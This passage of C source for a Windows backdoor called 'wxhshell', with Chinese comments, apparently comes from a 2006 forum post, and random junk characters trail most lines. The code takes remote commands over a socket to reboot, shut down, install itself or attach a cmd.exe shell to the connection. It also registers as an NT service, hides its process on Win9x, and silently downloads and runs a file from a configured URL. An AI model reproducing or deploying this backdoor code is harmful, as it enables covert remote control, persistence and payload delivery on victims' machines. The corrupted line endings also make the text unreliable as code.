  case '?': { ]I[~0PCSX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @(Y!$><Is  
    break; 6$6QAW0+f  
  } ;eN ^'/4A  
  // 安装 MfP)Pk5  
  case 'i': { 4b:|>Z-  
    if(Install()) 0?<#!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *!%lBt{2  
    else &^r>Q`u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `&M,B=E  
    break; sU"%,Q5  
    } H_X^)\oJ  
  // 卸载 B1V{3  
  case 'r': { -}#HaL#'K  
    if(Uninstall()) hbJ>GSoZ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z5kAf~A  
    else $iu[-my_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .!x&d4;,q  
    break; fbNzRXw  
    } !R=@Nr>  
  // 显示 wxhshell 所在路径 M2O_kO eZ  
  case 'p': { Snx!^4+MF  
    char svExeFile[MAX_PATH]; ){*+s RBW  
    strcpy(svExeFile,"\n\r"); 3 r&  
      strcat(svExeFile,ExeFile); $-iEcxsi  
        send(wsh,svExeFile,strlen(svExeFile),0); {'5"i?>s0>  
    break; p+;& Gg54  
    } 1u 9hA~rj  
  // 重启 jN\u}!\O  
  case 'b': { >?, Zn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vrkY7L3\  
    if(Boot(REBOOT)) FJ:^pROpm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DN*5q9.  
    else { |A%9c.DG.  
    closesocket(wsh); >]\I:T  
    ExitThread(0); DxJ;C09xNa  
    } .T| }rB<c  
    break; vADiW~^Q^  
    } *MP.YI:h  
  // 关机 qqrjI.  
  case 'd': { V' Gal`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E>!=~ 7.  
    if(Boot(SHUTDOWN)) bMyld&ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e$# *t  
    else { FSIiw#xzH  
    closesocket(wsh); 5(3O/C{?~  
    ExitThread(0); "& ,ov#  
    } IS2cU'   
    break; hH %>  
    } p+VU:%.t  
  // 获取shell .ZpOYhk  
  case 's': { ZJYn[\]  
    CmdShell(wsh); 3Q=^&o0fl  
    closesocket(wsh); >|$]=e,Z  
    ExitThread(0); ~r1pO#r-  
    break; a=iupXre9  
  } 0 j.K?]f)h  
  // 退出 E}@C4pS  
  case 'x': { " kDiK`i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3JCo!n0   
    CloseIt(wsh); ,T$ts  
    break; qJhsMo2IH  
    } 1Kg0y71"  
  // 离开 f7Gn$E|/r;  
  case 'q': { $></%S2g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =!q% 1mP  
    closesocket(wsh); YuXJT*  
    WSACleanup(); BR,-:?z  
    exit(1); 4,9$udiGY  
    break; {/'T:n#  
        } fz&B$1;8  
  } A# {63_H  
  } bsIG1&n'T  
IhnBp 6p9  
  // 提示信息 $#Pxf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~>2uRjvkwB  
} C?PQ>Q!f-  
  } Z_d"<k}I  
"yWw3(V2>  
  return; PRKZg]?  
} nM,:f)z  
$ghZ<Y2}9  
// shell模块句柄 gFDnt  
int CmdShell(SOCKET sock) i "8mrWb  
{ _plK(g-1J%  
STARTUPINFO si; _Nx /<isdL  
ZeroMemory(&si,sizeof(si)); Sj9fq*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s|[>@~gXk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A1WUK=P  
PROCESS_INFORMATION ProcessInfo; d*(aue=  
char cmdline[]="cmd"; K,b M9>}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #6`5-5Ks;  
  return 0; P3M$&::D-  
} 6{Wo5O{!\  
f :c'j`  
// 自身启动模式 8|u4xf<  
int StartFromService(void) Z;BS@e  
{ |P|B"I<?  
typedef struct rzjVUPdnh  
{ c_lHj#A(l  
  DWORD ExitStatus; )>volP  
  DWORD PebBaseAddress; Z8$}Rpo  
  DWORD AffinityMask; Y\|#Lu>B  
  DWORD BasePriority; 3h:j.8Z  
  ULONG UniqueProcessId; .~z'm$s1o  
  ULONG InheritedFromUniqueProcessId; oA1_W).wJ  
}   PROCESS_BASIC_INFORMATION; z>x@o}#u\|  
h Yu6PWK  
PROCNTQSIP NtQueryInformationProcess; ~9X^3.nI  
rK3kg2H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +v~x gUs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O-iE0t  
,75)  
  HANDLE             hProcess; Q*ITs!~Z  
  PROCESS_BASIC_INFORMATION pbi; RLF&-[mr3  
"oP^2|${  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z;OYPGvkw  
  if(NULL == hInst ) return 0;  Rr) 5 [  
B2`S0 H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VPLf(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -,bFGTvYQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tC[ZWL  
AGBV7Kk  
  if (!NtQueryInformationProcess) return 0; aSR-.r  
=BJLj0=N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4)Oi-_Y>  
  if(!hProcess) return 0; &kb`)F3nU  
j,IRUx13f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K)Y& I  
bS_#3T  
  CloseHandle(hProcess); 1wSAwpz  
\Z{tC$|H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uvys>]+  
if(hProcess==NULL) return 0; iP:i6U]  
}=R]<`Sj.j  
HMODULE hMod; \#sD`O  
char procName[255]; 05UN <l]  
unsigned long cbNeeded; F^!D[:;jK  
dFg>uo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  tV}!_  
h~dQ5%  
  CloseHandle(hProcess); )p& g!qA  
,67Q!/O  
if(strstr(procName,"services")) return 1; // 以服务启动 9QZaa(vN  
-V$|t<  
  return 0; // 注册表启动 2.qPMqH  
} K#"=*p,  
h]7_ N,  
// 主模块 _H]\  
int StartWxhshell(LPSTR lpCmdLine) ]m1fo'  
{ ':4cQ4Z  
  SOCKET wsl; 7>hcvML  
BOOL val=TRUE; unDW2#GX  
  int port=0; vu0Ql1  
  struct sockaddr_in door; G?Et$r7:R  
d_[H|H9i6  
  if(wscfg.ws_autoins) Install(); Y,L`WeQY.  
Ku5||u.F4*  
port=atoi(lpCmdLine); I| TNo-!$  
 3@Ndn  
if(port<=0) port=wscfg.ws_port; "&(/bdah?&  
Upz)iOqLi  
  WSADATA data; y6 (L=$+B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (Tx_`rO4VY  
Jb,54uN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fe .=Z&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _|~Dj)z  
  door.sin_family = AF_INET; :8S;34Y;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X G#?fr}L  
  door.sin_port = htons(port); C T~6T&'  
Lg4|6.Ez|P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /R&`]9].s  
closesocket(wsl); !Uiq3s`1T  
return 1; _z p<en[  
} =7!s8D,[  
\((MoQ9Qk  
  if(listen(wsl,2) == INVALID_SOCKET) { =By@%ioIGG  
closesocket(wsl); n"iS[uj,  
return 1; <Bo\a3Z  
} b'4a;k!rS  
  Wxhshell(wsl); 4*_jGw  
  WSACleanup(); q<AnWNheE  
r3V1l8MV  
return 0; `IN!#b+Eo  
Y9BQLu4F  
} $S>'0mL  
DG&'x;K"$  
// 以NT服务方式启动 dv+Gv7&2/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  }$oS /bo  
{ c[ 2t,+O  
DWORD   status = 0; 3ynkf77cn  
  DWORD   specificError = 0xfffffff; |bk9< i ?  
~[=<O s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S1|5+PPs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6R :hsC$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w!lk&7Q7Z  
  serviceStatus.dwWin32ExitCode     = 0; zJXK:/  
  serviceStatus.dwServiceSpecificExitCode = 0; 2poo@]M/  
  serviceStatus.dwCheckPoint       = 0; 0 u*a=f=  
  serviceStatus.dwWaitHint       = 0; %g :Q?   
@x `X|>&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '2X$. ^aW  
  if (hServiceStatusHandle==0) return; \Zf=A[  
Y:CX RU6eD  
status = GetLastError(); l8~(bq1  
  if (status!=NO_ERROR) i]n2\v AG  
{ cGm3LS6]*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z/,R{Jgt"  
    serviceStatus.dwCheckPoint       = 0; #91^1jyMf  
    serviceStatus.dwWaitHint       = 0; yPE3Awh5  
    serviceStatus.dwWin32ExitCode     = status; U\%r33L )  
    serviceStatus.dwServiceSpecificExitCode = specificError; RUY7Y?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O=__w *<  
    return; ")KqPD6k  
  } V u")%(ix  
3cHYe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `E|i8M3g  
  serviceStatus.dwCheckPoint       = 0; ?|,:;^2l1  
  serviceStatus.dwWaitHint       = 0; eipg,EI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !<TkX/O  
} ]QlW{J  
pZ8J\4+  
// 处理NT服务事件,比如:启动、停止 G:*vV#K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !aSj1 2J  
{ +iQ@J+k  
switch(fdwControl) 7R:j^"I@  
{ ezw*Lo!  
case SERVICE_CONTROL_STOP: "R5G^-<h p  
  serviceStatus.dwWin32ExitCode = 0; gaN/ kp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fTXip)n!r  
  serviceStatus.dwCheckPoint   = 0;  Gd A!8  
  serviceStatus.dwWaitHint     = 0; ]Y?Y$>  
  { Q z(n41@`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>aa2  
  } D?#l8  
  return; A6[FH\f  
case SERVICE_CONTROL_PAUSE: gcnX^[`S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * WV=Xp  
  break; .xqi7vVHZ  
case SERVICE_CONTROL_CONTINUE: nA0%M1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .@fA_8  
  break; mrr]{K  
case SERVICE_CONTROL_INTERROGATE: ]I)ofXu]  
  break; L\UPM+tE  
}; Yuw:W:wY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ck#e54gJX  
} c\n_[r  
hDi~{rbmc  
// 标准应用程序主函数 WOZuFS13  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?L\"qz%gP  
{ !Ew ff|v"  
46]BRL2 G  
// 获取操作系统版本 g"748LY>=p  
OsIsNt=GetOsVer(); N&   
GetModuleFileName(NULL,ExeFile,MAX_PATH); _yg;5#3  
1J0gjO)AZ  
  // 从命令行安装 PS" rXaY  
  if(strpbrk(lpCmdLine,"iI")) Install(); T/E=?kBR  
!-t w  
  // 下载执行文件 6!>p<p"Ns  
if(wscfg.ws_downexe) { XfE0P(sE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O)`L( x  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7SS#V  
} z=KDkpV  
]=t}8H  
if(!OsIsNt) { u `/V1  
// 如果时win9x,隐藏进程并且设置为注册表启动 UhqTn$=fb  
HideProc(); 27 XM&ZrZ  
StartWxhshell(lpCmdLine); q;bw }4  
} MlYm\x8{M  
else I'*,<BPG  
  if(StartFromService()) IQU1 JVk Z  
  // 以服务方式启动 0?$|F0U"J  
  StartServiceCtrlDispatcher(DispatchTable); (=uT*Cb  
else W6T4Zsg  
  // 普通方式启动 i=\)[;U  
  StartWxhshell(lpCmdLine); QTBc_Z  
VOD-< "|  
return 0; ~\(c;J*Ir  
}
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只看该作者 1 发表于: 2006-10-10
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